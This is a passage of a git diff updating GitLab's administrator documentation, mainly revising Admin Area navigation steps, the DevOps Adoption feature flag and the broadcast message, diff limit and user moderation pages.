Your GitLab instance's [usage ping](../settings/usage_statistics.md#usage-ping) must be activated in order to use this feature.
@@ -34,21 +36,30 @@ Usage ping data is aggregated on GitLab servers for analysis. Your usage
information is **not sent** to any other GitLab instances. If you have just started using GitLab, it may take a few weeks for data to be
collected before this feature is available.
-## DevOps Adoption **(ULTIMATE)**
+## DevOps Adoption **(ULTIMATE SELF)**
-[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247112) in GitLab 13.7 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta).
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247112) in GitLab 13.7 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta)
+> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59267) in GitLab 14.0.
+> - Enabled on GitLab.com.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-or-enable-devops-adoption). **(ULTIMATE SELF)**
The DevOps Adoption tab shows you which groups within your organization are using the most essential features of GitLab:
-- Issues
-- Merge Requests
-- Approvals
-- Runners
-- Pipelines
-- Deploys
-- Scanning
-
-Buttons to manage your groups appear in the DevOps Adoption section of the page.
+- Dev
+ - Issues
+ - Merge Requests
+ - Approvals
+ - Code owners
+- Sec
+ - Scans
+- Ops
+ - Runners
+ - Pipelines
+ - Deployments
+
+When managing groups in the UI, you can add your groups with the **Add group to table**
+button, in the top right hand section the page.
DevOps Adoption allows you to:
@@ -56,20 +67,22 @@ DevOps Adoption allows you to:
- Identify specific groups that are lagging in their adoption of GitLab so you can help them along in their DevOps journey.
- Find the groups that have adopted certain features and can provide guidance to other groups on how to use those features.
+![DevOps Report](img/admin_devops_adoption_v14_0.png)
+
### Disable or enable DevOps Adoption
-DevOps Adoption is deployed behind a feature flag that is **disabled by default**.
+DevOps Adoption is deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can opt to enable it.
+can opt to disable it.
-To enable it:
+To disable it:
```ruby
-Feature.enable(:devops_adoption_feature)
+Feature.disable(:devops_adoption_feature)
```
-To disable it:
+To reenable it:
```ruby
-Feature.disable(:devops_adoption_feature)
+Feature.enable(:devops_adoption_feature)
```
diff --git a/doc/user/admin_area/analytics/img/admin_devops_adoption_v14_0.png b/doc/user/admin_area/analytics/img/admin_devops_adoption_v14_0.png
new file mode 100644
index 00000000000..f4170b2938c
--- /dev/null
+++ b/doc/user/admin_area/analytics/img/admin_devops_adoption_v14_0.png
Binary files differ
diff --git a/doc/user/admin_area/analytics/img/instance_activity_pipelines_chart_v13_6_a.png b/doc/user/admin_area/analytics/img/instance_activity_pipelines_chart_v13_6_a.png
index 210c5c2609a..bd02065556c 100644
--- a/doc/user/admin_area/analytics/img/instance_activity_pipelines_chart_v13_6_a.png
+++ b/doc/user/admin_area/analytics/img/instance_activity_pipelines_chart_v13_6_a.png
Binary files differ
diff --git a/doc/user/admin_area/analytics/index.md b/doc/user/admin_area/analytics/index.md
index bea22745e7b..465b26d516c 100644
--- a/doc/user/admin_area/analytics/index.md
+++ b/doc/user/admin_area/analytics/index.md
@@ -1,16 +1,19 @@
---
-stage: none
-group: unassigned
+stage: Manage
+group: Optimize
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Instance-level analytics
+# Instance-level analytics **(FREE SELF)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41416) in GitLab 11.2.
-Administrators have access to instance-wide analytics, as shown in **Admin Area > Analytics**.
+Administrators have access to instance-wide analytics:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Analytics**.
There are several kinds of statistics:
-- [DevOps Report](dev_ops_report.md): Provides an overview of your entire instance's feature usage. **(FREE)**
-- [Usage Trends](usage_trends.md): Shows how much data your instance contains, and how that is changing. **(FREE)**
+- [DevOps Report](dev_ops_report.md): Provides an overview of your entire instance's feature usage.
+- [Usage Trends](usage_trends.md): Shows how much data your instance contains, and how that is changing.
diff --git a/doc/user/admin_area/analytics/usage_trends.md b/doc/user/admin_area/analytics/usage_trends.md
index 7fb23f702a4..49c81b1a965 100644
--- a/doc/user/admin_area/analytics/usage_trends.md
+++ b/doc/user/admin_area/analytics/usage_trends.md
@@ -4,7 +4,7 @@ group: Optimize
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Usage Trends **(FREE)**
+# Usage Trends **(FREE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235754) in GitLab 13.5 behind a feature flag, disabled by default.
> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46962) in GitLab 13.6.
diff --git a/doc/user/admin_area/analytics/user_cohorts.md b/doc/user/admin_area/analytics/user_cohorts.md
index ca5dff85757..b906f9b8fa6 100644
--- a/doc/user/admin_area/analytics/user_cohorts.md
+++ b/doc/user/admin_area/analytics/user_cohorts.md
@@ -1,5 +1,6 @@
---
redirect_to: '../user_cohorts.md'
+remove_date: '2021-06-01'
---
This document was moved to [another location](../user_cohorts.md).
diff --git a/doc/user/admin_area/appearance.md b/doc/user/admin_area/appearance.md
index 0d72f09dfd9..d7f0b7e3854 100644
--- a/doc/user/admin_area/appearance.md
+++ b/doc/user/admin_area/appearance.md
@@ -9,8 +9,10 @@ disqus_identifier: 'https://docs.gitlab.com/ee/customization/branded_login_page.
# GitLab Appearance **(FREE SELF)**
There are several options for customizing the appearance of a self-managed instance
-of GitLab. These settings are accessed from the **Admin Area** in the **Appearance**
-section.
+of GitLab. To access these settings:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Appearance**.
## Navigation bar
diff --git a/doc/user/admin_area/approving_users.md b/doc/user/admin_area/approving_users.md
index 2b3b90cb1a4..3d9722035d5 100644
--- a/doc/user/admin_area/approving_users.md
+++ b/doc/user/admin_area/approving_users.md
@@ -34,7 +34,8 @@ sign in.
To view user sign ups pending approval:
-1. Go to **Admin Area > Overview > Users**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Users**.
1. Select the **Pending approval** tab.
## Approve or reject a user sign up
@@ -43,9 +44,10 @@ A user sign up pending approval can be approved or rejected from the Admin Area.
To approve or reject a user sign up:
-1. Go to **Admin Area > Overview > Users**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Users**.
1. Select the **Pending approval** tab.
-1. In the user's row select settings (**{settings}**).
+1. In the user's row, select settings (**{settings}**).
1. Select **Approve** or **Reject**.
Approving a user:
diff --git a/doc/user/admin_area/blocking_unblocking_users.md b/doc/user/admin_area/blocking_unblocking_users.md
index cafc7caf981..e89c42b34ba 100644
--- a/doc/user/admin_area/blocking_unblocking_users.md
+++ b/doc/user/admin_area/blocking_unblocking_users.md
@@ -1,5 +1,6 @@
---
redirect_to: 'moderate_users.md'
+remove_date: '2021-08-12'
---
This document was moved to [another location](moderate_users.md).
diff --git a/doc/user/admin_area/broadcast_messages.md b/doc/user/admin_area/broadcast_messages.md
index 67a89f896ff..93e6aa9bb16 100644
--- a/doc/user/admin_area/broadcast_messages.md
+++ b/doc/user/admin_area/broadcast_messages.md
@@ -5,21 +5,14 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference, howto
---
-# Broadcast Messages **(FREE SELF)**
+# Broadcast messages **(FREE SELF)**
GitLab can display broadcast messages to all users of a GitLab instance. There are two types of broadcast messages:
-- banners
-- notifications
+- Banners
+- Notifications
-You can style a message's content using the `a` and `br` HTML tags. The `br` tag inserts a line break. The `a` HTML tag accepts `class` and `style` attributes with the following CSS properties:
-
-- `color`
-- `border`
-- `background`
-- `padding`
-- `margin`
-- `text-decoration`
+Broadcast messages can be managed using the [broadcast messages API](../../api/broadcast_messages.md).
## Banners
@@ -36,6 +29,8 @@ remote:
...
```
+If more than one banner is active at one time, they are displayed in a stack in order of creation.
+
## Notifications
Notifications are shown on the bottom right of a page and can contain placeholders. A placeholder is replaced with an attribute of the active user. Placeholders must be surrounded by curly braces, for example `{{name}}`.
@@ -51,65 +46,63 @@ If the user is not signed in, user related values are empty.
![Broadcast Message Notification](img/broadcast_messages_notification_v12_10.png)
-Broadcast messages can be managed using the [broadcast messages API](../../api/broadcast_messages.md).
-
-NOTE:
-If more than one banner message is active at one time, they are displayed in a stack in order of creation.
-If more than one notification message is active at one time, only the newest is shown.
+If more than one notification is active at one time, only the newest is shown.
-## Adding a broadcast message
+## Add a broadcast message
-To display messages to users on your GitLab instance, add broadcast message.
+To display messages to users on your GitLab instance, add a broadcast message.
To add a broadcast message:
-1. Navigate to the **Admin Area > Messages** page.
-1. Add the text for the message to the **Message** field. Markdown and emoji are supported.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Messages**.
+1. Add the text for the message to the **Message** field. You can style a message's content using Markdown, emoji, and the `a` and `br` HTML tags.
+ The `br` tag inserts a line break. The `a` HTML tag accepts `class` and `style` attributes with the following CSS properties:
+ - `color`
+ - `border`
+ - `background`
+ - `padding`
+ - `margin`
+ - `text-decoration`
1. Select one of the suggested background colors, or add the hex code of a different color. The default color is orange.
+1. Select the **Dismissable** checkbox to enable users to dismiss the broadcast message.
1. If required, add a **Target Path** to only show the broadcast message on URLs matching that path. You can use the wildcard character `*` to match multiple URLs, for example `mygroup/myproject*`.
1. Select a date for the message to start and end.
-1. Click the **Add broadcast message** button.
-
-NOTE:
-When scoping messages, you can't use preceding or trailing slashes. For example,
-instead of `/mygroup/myproject/`, you must use `mygroup/myproject`. A fix is
-[planned for GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59482).
+1. Select **Add broadcast message**.
NOTE:
The **Background color** field expects the value to be a hexadecimal code because
the form uses the [color_field](https://api.rubyonrails.org/v6.0.3.4/classes/ActionView/Helpers/FormHelper.html#method-i-color_field)
helper method, which generates the proper HTML to render.
-NOTE:
-Once a broadcast message has expired, it is no longer displayed in the UI but is still listed in the
-list of broadcast messages. User can also dismiss a broadcast message if the option **Dismissable** is set.
+When a broadcast message expires, it no longer displays in the user interface but is still listed in the
+list of broadcast messages.
-## Editing a broadcast message
+## Edit a broadcast message
-If changes are required to a broadcast message, they can be edited.
+If you need to make changes to a broadcast message, you can edit it.
To edit a broadcast message:
-1. Navigate to the **Admin Area > Messages** page.
-1. From the list of broadcast messages, click the appropriate button to edit the message.
-1. After making the required changes, click the **Update broadcast message** button.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Messages**.
+1. From the list of broadcast messages, select the edit button for the message.
+1. After making the required changes, select **Update broadcast message**.
-NOTE:
Expired messages can be made active again by changing their end date.
-## Deleting a broadcast message
+## Delete a broadcast message
-Broadcast messages that are no longer required can be deleted.
+If you no longer require a broadcast message, you can delete it.
+You can delete a broadcast message while it's active.
To delete a broadcast message:
-1. Navigate to the **Admin Area > Messages** page.
-1. From the list of broadcast messages, click the appropriate button to delete the message.
-
-Once deleted, the broadcast message is removed from the list of broadcast messages.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Messages**.
+1. From the list of broadcast messages, select the delete button for the message.
-NOTE:
-Broadcast messages can be deleted while active.
+When a broadcast message is deleted, it's removed from the list of broadcast messages.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/credentials_inventory.md b/doc/user/admin_area/credentials_inventory.md
index c47dc7d70f5..dfb37cb8646 100644
--- a/doc/user/admin_area/credentials_inventory.md
+++ b/doc/user/admin_area/credentials_inventory.md
@@ -9,7 +9,9 @@ type: howto
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20912) in GitLab 12.6.
-GitLab administrators are responsible for the overall security of their instance. To assist, GitLab provides a Credentials inventory to keep track of all the credentials that can be used to access their self-managed instance.
+GitLab administrators are responsible for the overall security of their instance. To assist, GitLab
+provides a Credentials inventory to keep track of all the credentials that can be used to access
+their self-managed instance.
Using Credentials inventory, you can see all the personal access tokens (PAT), SSH keys, and GPG keys
that exist in your GitLab instance. In addition, you can [revoke](#revoke-a-users-personal-access-token)
@@ -21,7 +23,10 @@ and [delete](#delete-a-users-ssh-key) and see:
- When they expire. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214809) in GitLab 13.2.
- When they were revoked. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214809) in GitLab 13.2.
-To access the Credentials inventory, navigate to **Admin Area > Credentials**.
+To access the Credentials inventory:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Credentials**.
The following is an example of the Credentials inventory page:
diff --git a/doc/user/admin_area/custom_project_templates.md b/doc/user/admin_area/custom_project_templates.md
index b4b33df37bf..6cf3c5bbd7d 100644
--- a/doc/user/admin_area/custom_project_templates.md
+++ b/doc/user/admin_area/custom_project_templates.md
@@ -30,12 +30,12 @@ see [Custom group-level project templates](../group/custom_project_templates.md)
## Configuring
GitLab administrators can configure a GitLab group that serves as template
-source for an entire GitLab instance by:
+source for an entire GitLab instance:
-1. Navigating to **Admin Area > Settings > Templates**.
-1. Expanding **Custom project templates**.
-1. Selecting a group to use.
-1. Pressing **Save changes**.
+1. On the top bar, navigate to **Menu > Admin > Settings > Templates**.
+1. Expand **Custom project templates**.
+1. Select a group to use.
+1. Select **Save changes**.
NOTE:
Projects below subgroups of the template group are **not** supported.
diff --git a/doc/user/admin_area/diff_limits.md b/doc/user/admin_area/diff_limits.md
index 32756ab4780..37fdb3ae195 100644
--- a/doc/user/admin_area/diff_limits.md
+++ b/doc/user/admin_area/diff_limits.md
@@ -10,28 +10,34 @@ type: reference
You can set a maximum size for display of diff files (patches).
For details about diff files, [view changes between files](../project/merge_requests/changes.md).
+Read more about the [built-in limits for merge requests and diffs](../../administration/instance_limits.md#merge-requests).
-## Maximum diff patch size
+## Configure diff limits
-Diff files which exceed this value are presented as 'too large' and cannot
-be expandable. Instead of an expandable view, a link to the blob view is
-shown.
+WARNING:
+These settings are experimental. An increased maximum increases resource
+consumption of your instance. Keep this in mind when adjusting the maximum.
+
+To speed the loading time of merge request views and branch comparison views
+on your instance, you can configure three instance-level maximum values for diffs:
+
+- **Maximum diff patch size**: The total size, in bytes, of the entire diff.
+- **Maximum diff files**: The total number of files changed in a diff.
+- **Maximum diff files**: The total number of files changed in a diff. The default value is 1000.
+- **Maximum diff lines**: The total number of lines changed in a diff. The default value is 50,000.
-Patches greater than 10% of this size are automatically collapsed, and a
-link to expand the diff is presented.
-This affects merge requests and branch comparison views.
+When a diff reaches 10% of any of these values, the files are shown in a
+collapsed view, with a link to expand the diff. Diffs that exceed any of the
+set values are presented as **Too large** are cannot be expanded in the UI.
-To set the maximum diff patch size:
+To configure these values:
-1. Go to the Admin Area (**{admin}**) and select **Settings > General**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
1. Expand **Diff limits**.
1. Enter a value for **Maximum diff patch size**, measured in bytes.
1. Select **Save changes**.
-WARNING:
-This setting is experimental. An increased maximum increases resource
-consumption of your instance. Keep this in mind when adjusting the maximum.
-
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/user/admin_area/geo_nodes.md b/doc/user/admin_area/geo_nodes.md
index e5132ef4e96..32b1555c33d 100644
--- a/doc/user/admin_area/geo_nodes.md
+++ b/doc/user/admin_area/geo_nodes.md
@@ -82,7 +82,7 @@ In GitLab 11.11, **secondary** nodes can use identical external URLs as long as
a unique `name` is set for each Geo node. The `gitlab.rb` setting
`gitlab_rails['geo_node_name']` must:
-- Be set for each GitLab instance that runs `unicorn`, `sidekiq`, or `geo_logcursor`.
+- Be set for each GitLab instance that runs `puma`, `sidekiq`, or `geo_logcursor`.
- Match a Geo node name.
The load balancer must use sticky sessions in order to avoid authentication
diff --git a/doc/user/admin_area/img/cohorts_v13_9_a.png b/doc/user/admin_area/img/cohorts_v13_9_a.png
index a891b5b12c2..1a4590290b9 100644
--- a/doc/user/admin_area/img/cohorts_v13_9_a.png
+++ b/doc/user/admin_area/img/cohorts_v13_9_a.png
Binary files differ
diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md
index 5d1fde1c767..2e4a8261c63 100644
--- a/doc/user/admin_area/index.md
+++ b/doc/user/admin_area/index.md
@@ -7,12 +7,13 @@ type: reference
# GitLab Admin Area **(FREE SELF)**
-The Admin Area provides a web UI for administering some features of GitLab self-managed instances.
+The Admin Area provides a web UI to manage and configure some features of GitLab
+self-managed instances. If you are an Admin user, you can access the Admin Area
+by visiting `/admin` on your self-managed instance. You can also access it through
+the UI:
-To access the Admin Area, either:
-
-- Click the Admin Area icon (**{admin}**).
-- Visit `/admin` on your self-managed instance.
+- GitLab versions 14.0 and later: on the top bar, select **Menu >** **{admin}** **Admin**.
+- GitLab versions 13.12 and earlier: on the top bar, select the Admin Area icon (**{admin}**).
NOTE:
Only admin users can access the Admin Area.
@@ -35,7 +36,7 @@ The Admin Area is made up of the following sections:
| **{location-dot}** Geo | Configure and maintain [Geo nodes](geo_nodes.md). |
| **{key}** Deploy keys | Create instance-wide [SSH deploy keys](../project/deploy_keys/index.md). |
| **{lock}** Credentials | View [credentials](credentials_inventory.md) that can be used to access your instance. |
-| **{template}** Service Templates | Create [service templates](../project/integrations/services_templates.md) for projects. |
+| **{template}** Integrations | Manage [instance-level default settings](settings/project_integration_management.md) for a project integration. |
| **{labels}** Labels | Create and maintain [labels](labels.md) for your GitLab instance. |
| **{appearance}** Appearance | Customize [GitLab appearance](appearance.md). |
| **{settings}** Settings | Modify the [settings](settings/index.md) for your GitLab instance. |
@@ -46,7 +47,7 @@ The Dashboard provides statistics and system information about the GitLab instan
To access the Dashboard, either:
-- Click the Admin Area icon (**{admin}**).
+- On the top bar, select **Menu >** **{admin}** **Admin**.
- Visit `/admin` on your self-managed instance.
The Dashboard is the default view of the Admin Area, and is made up of the following sections:
@@ -68,10 +69,12 @@ The following topics document the **Overview** section of the Admin Area.
You can administer all projects in the GitLab instance from the Admin Area's Projects page.
-To access the Projects page, go to **Admin Area > Overview > Projects**.
+To access the Projects page:
-Click the **All**, **Private**, **Internal**, or **Public** tab to list only projects of that
-criteria.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Overview > Projects**.
+1. Select the **All**, **Private**, **Internal**, or **Public** tab to list only
+ projects of that criteria.
By default, all projects are listed, in reverse order of when they were last updated. For each
project, the following information is listed:
@@ -106,9 +109,10 @@ You can combine the filter options. For example, to list only public projects wi
### Administering Users
-You can administer all users in the GitLab instance from the Admin Area's Users page.
+You can administer all users in the GitLab instance from the Admin Area's Users page:
-To access the Users page, go to **Admin Area > Overview > Users**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Overview > Users**.
To list users matching a specific criteria, click on one of the following tabs on the **Users** page:
@@ -151,7 +155,11 @@ An administrator can "impersonate" any other user, including other administrator
This allows the administrator to "see what the user sees," and take actions on behalf of the user.
You can impersonate a user in the following ways:
-- Through the UI, by selecting **Admin Area > Overview > Users > Select a user > Impersonate**.
+- Through the UI:
+ 1. On the top bar, select **Menu >** **{admin}** **Admin**.
+ 1. In the left sidebar, select **Overview > Users**.
+ 1. From the list of users, select a user.
+ 1. Select **Impersonate**.
- With the API, using [impersonation tokens](../../api/README.md#impersonation-tokens).
All impersonation activities are [captured with audit events](../../administration/audit_events.md#impersonation-data).
@@ -197,7 +205,10 @@ The [Cohorts](user_cohorts.md) tab displays the monthly cohorts of new users and
You can administer all groups in the GitLab instance from the Admin Area's Groups page.
-To access the Groups page, go to **Admin Area > Overview > Groups**.
+To access the Groups page:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Overview > Groups**.
For each group, the page displays their name, description, size, number of projects in the group,
number of members, and whether the group is private, internal, or public. To edit a group, click
@@ -216,11 +227,12 @@ To [Create a new group](../group/index.md#create-a-group) click **New group**.
You can administer all jobs in the GitLab instance from the Admin Area's Jobs page.
-To access the Jobs page, go to **Admin Area > Overview > Jobs**.
+To access the Jobs page:
-All jobs are listed, in descending order of job ID.
-
-Click the **All** tab to list all jobs. Click the **Pending**, **Running**, or **Finished** tab to list only jobs of that status.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Overview > Jobs**. All jobs are listed, in descending order of job ID.
+1. Click the **All** tab to list all jobs. Click the **Pending**, **Running**, or **Finished**
+ tab to list only jobs of that status.
For each job, the following details are listed:
@@ -241,7 +253,10 @@ For each job, the following details are listed:
You can administer all runners in the GitLab instance from the Admin Area's **Runners** page. See
[GitLab Runner](https://docs.gitlab.com/runner/) for more information.
-To access the **Runners** page, go to **Admin Area > Overview > Runners**.
+To access the **Runners** page:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Overview > Runners**.
The **Runners** page features:
@@ -287,7 +302,10 @@ You can also edit, pause, or remove each runner.
You can list all Gitaly servers in the GitLab instance from the Admin Area's **Gitaly Servers**
page. For more details, see [Gitaly](../../administration/gitaly/index.md).
-To access the **Gitaly Servers** page, go to **Admin Area > Overview > Gitaly Servers**.
+To access the **Gitaly Servers** page:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Overview > Gitaly Servers**.
For each Gitaly server, the following details are listed:
@@ -344,7 +362,7 @@ For multi-node systems we recommend ingesting the logs into services like Elasti
|:------------------------|:---------|
| `application.log` | GitLab user activity |
| `git_json.log` | Failed GitLab interaction with Git repositories |
-| `production.log` | Requests received from Unicorn, and the actions taken to serve those requests |
+| `production.log` | Requests received from Puma, and the actions taken to serve those requests |
| `sidekiq.log` | Background jobs |
| `repocheck.log` | Repository activity |
| `integrations_json.log` | Activity between GitLab and integrated systems |
diff --git a/doc/user/admin_area/license.md b/doc/user/admin_area/license.md
index 73472fcf67a..58876b87576 100644
--- a/doc/user/admin_area/license.md
+++ b/doc/user/admin_area/license.md
@@ -34,13 +34,13 @@ is locked.
The first time you visit your GitLab EE installation signed in as an administrator,
you should see a note urging you to upload a license with a link that takes you
-to **Admin Area > License**.
+to the **License** area.
-Otherwise, you can:
+Otherwise, to manually go to the **License** area:
-1. Navigate manually to the **Admin Area** by selecting the wrench (**{admin}**) icon in the top menu.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
-1. Navigate to the **License** tab, and select **Upload New License**.
+1. On the left sidebar, select **License**, and select **Upload New License**.
- *If you've received a `.gitlab-license` file:*
1. Download the license file to your local machine.
@@ -113,9 +113,9 @@ before this occurs.
To remove a license from a self-managed instance:
-1. In the top navigation bar, click the **{admin}** wrench icon to navigate to the [Admin Area](index.md).
-1. Click **License** in the left sidebar.
-1. Click **Remove License**.
+1. On the top bar, select **Menu >** **{admin}** **Admin** to go to the [Admin Area](index.md).
+1. On the left sidebar, select **License**.
+1. Select **Remove license**.
## License history
diff --git a/doc/user/admin_area/merge_requests_approvals.md b/doc/user/admin_area/merge_requests_approvals.md
index fadccadaf2c..b221b1d51a7 100644
--- a/doc/user/admin_area/merge_requests_approvals.md
+++ b/doc/user/admin_area/merge_requests_approvals.md
@@ -15,8 +15,8 @@ project level.
To enable merge request approval rules for an instance:
-1. Navigate to **Admin Area >** **{push-rules}** **Push Rules** and expand **Merge
-requests approvals**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **{push-rules}** **Push Rules**, and expand **Merge request (MR) approvals**.
1. Set the required rule.
1. Click **Save changes**.
diff --git a/doc/user/admin_area/moderate_users.md b/doc/user/admin_area/moderate_users.md
index c04003dd75f..71e72cc630c 100644
--- a/doc/user/admin_area/moderate_users.md
+++ b/doc/user/admin_area/moderate_users.md
@@ -21,9 +21,10 @@ administrators can choose to block the user.
Users can be blocked [via an abuse report](review_abuse_reports.md#blocking-users),
or directly from the Admin Area. To do this:
-1. Navigate to **Admin Area > Overview > Users**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Users**.
1. Select a user.
-1. Under the **Account** tab, click **Block user**.
+1. Under the **Account** tab, select **Block user**.
A blocked user:
@@ -43,10 +44,11 @@ A blocked user does not consume a [seat](../../subscriptions/self_managed/index.
A blocked user can be unblocked from the Admin Area. To do this:
-1. Navigate to **Admin Area > Overview > Users**.
-1. Click on the **Blocked** tab.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Users**.
+1. Select on the **Blocked** tab.
1. Select a user.
-1. Under the **Account** tab, click **Unblock user**.
+1. Under the **Account** tab, select **Unblock user**.
Users can also be unblocked using the [GitLab API](../../api/users.md#unblock-user).
@@ -74,16 +76,17 @@ with the following differences:
A deactivated user:
- Cannot access Git repositories or the API.
-- Will not receive any notifications from GitLab.
-- Will not be able to use [slash commands](../../integration/slash_commands.md).
+- Does not receive any notifications from GitLab.
+- Does not be able to use [slash commands](../../integration/slash_commands.md).
Personal projects, and group and user history of the deactivated user are left intact.
A user can be deactivated from the Admin Area. To do this:
-1. Navigate to **Admin Area > Overview > Users**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Users**.
1. Select a user.
-1. Under the **Account** tab, click **Deactivate user**.
+1. Under the **Account** tab, select **Deactivate user**.
Please note that for the deactivation option to be visible to an admin, the user:
@@ -95,6 +98,23 @@ Users can also be deactivated using the [GitLab API](../../api/users.md#deactiva
NOTE:
A deactivated user does not consume a [seat](../../subscriptions/self_managed/index.md#billable-users).
+### Automatically deactivate dormant users
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/320875) in GitLab 14.0.
+
+Administrators can enable automatic deactivation of users who have not signed in, or have no activity
+in the last 90 days. To do this:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > General**.
+1. Expand the **Account and limit** section.
+1. Under **Dormant users**, check **Deactivate dormant users after 90 days of inactivity**.
+1. Select **Save changes**.
+
+When this feature is enabled, GitLab runs a job once a day to deactivate the dormant users.
+
+A maximum of 100,000 users can be deactivated per day.
+
### Activating a user
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22257) in GitLab 12.4.
@@ -103,10 +123,11 @@ A deactivated user can be activated from the Admin Area.
To do this:
-1. Navigate to **Admin Area > Overview > Users**.
-1. Click on the **Deactivated** tab.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Users**.
+1. Select the **Deactivated** tab.
1. Select a user.
-1. Under the **Account** tab, click **Activate user**.
+1. Under the **Account** tab, select **Activate user**.
Users can also be activated using the [GitLab API](../../api/users.md#activate-user).
@@ -134,23 +155,25 @@ To completely block a user, administrators can choose to ban the user.
Users can be banned using the Admin Area. To do this:
-1. Navigate to **Admin Area > Overview > Users**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Users**.
1. Select a user.
-1. Under the **Account** tab, click **Ban user**.
+1. Under the **Account** tab, select **Ban user**.
NOTE:
This feature is a work in progress. Currently, banning a user
only blocks them and does not hide their comments or issues.
-This functionality will be implemented in follow up issues.
+This functionality is planned to be implemented in follow up issues.
### Unban a user
A banned user can be unbanned using the Admin Area. To do this:
-1. Navigate to **Admin Area > Overview > Users**.
-1. Click on the **Banned** tab.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Users**.
+1. Select the **Banned** tab.
1. Select a user.
-1. Under the **Account** tab, click **Unban user**.
+1. Under the **Account** tab, select **Unban user**.
NOTE:
Unbanning a user changes the user's state to active and consumes a
diff --git a/doc/user/admin_area/monitoring/health_check.md b/doc/user/admin_area/monitoring/health_check.md
index 2d4683911fb..a3e46ea6225 100644
--- a/doc/user/admin_area/monitoring/health_check.md
+++ b/doc/user/admin_area/monitoring/health_check.md
@@ -143,9 +143,11 @@ This check is being exempt from Rack Attack.
NOTE:
Access token has been deprecated in GitLab 9.4 in favor of [IP whitelist](#ip-whitelist).
-An access token needs to be provided while accessing the probe endpoints. The current
-accepted token can be found under the **Admin Area > Monitoring > Health check**
-(`admin/health_check`) page of your GitLab instance.
+An access token needs to be provided while accessing the probe endpoints. You can
+find the current accepted token in the user interface:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Monitoring > Health Check**. (`admin/health_check`)
![access token](img/health_check_token.png)
diff --git a/doc/user/admin_area/review_abuse_reports.md b/doc/user/admin_area/review_abuse_reports.md
index 12a3111c6f3..a179eb70453 100644
--- a/doc/user/admin_area/review_abuse_reports.md
+++ b/doc/user/admin_area/review_abuse_reports.md
@@ -16,7 +16,8 @@ reports in the Admin Area.
To receive notifications of new abuse reports by e-mail, follow these steps:
-1. Select **Admin Area > Settings > Reporting**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Reporting**.
1. Expand the **Abuse reports** section.
1. Provide an email address.
@@ -30,7 +31,10 @@ documentation](../report_abuse.md).
## Resolving abuse reports
-To access abuse reports, go to **Admin Area > Abuse Reports**.
+To access abuse reports:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Abuse Reports**.
There are 3 ways to resolve an abuse report, with a button for each method:
diff --git a/doc/user/admin_area/settings/account_and_limit_settings.md b/doc/user/admin_area/settings/account_and_limit_settings.md
index 8bc5a035e2a..f2a849e1894 100644
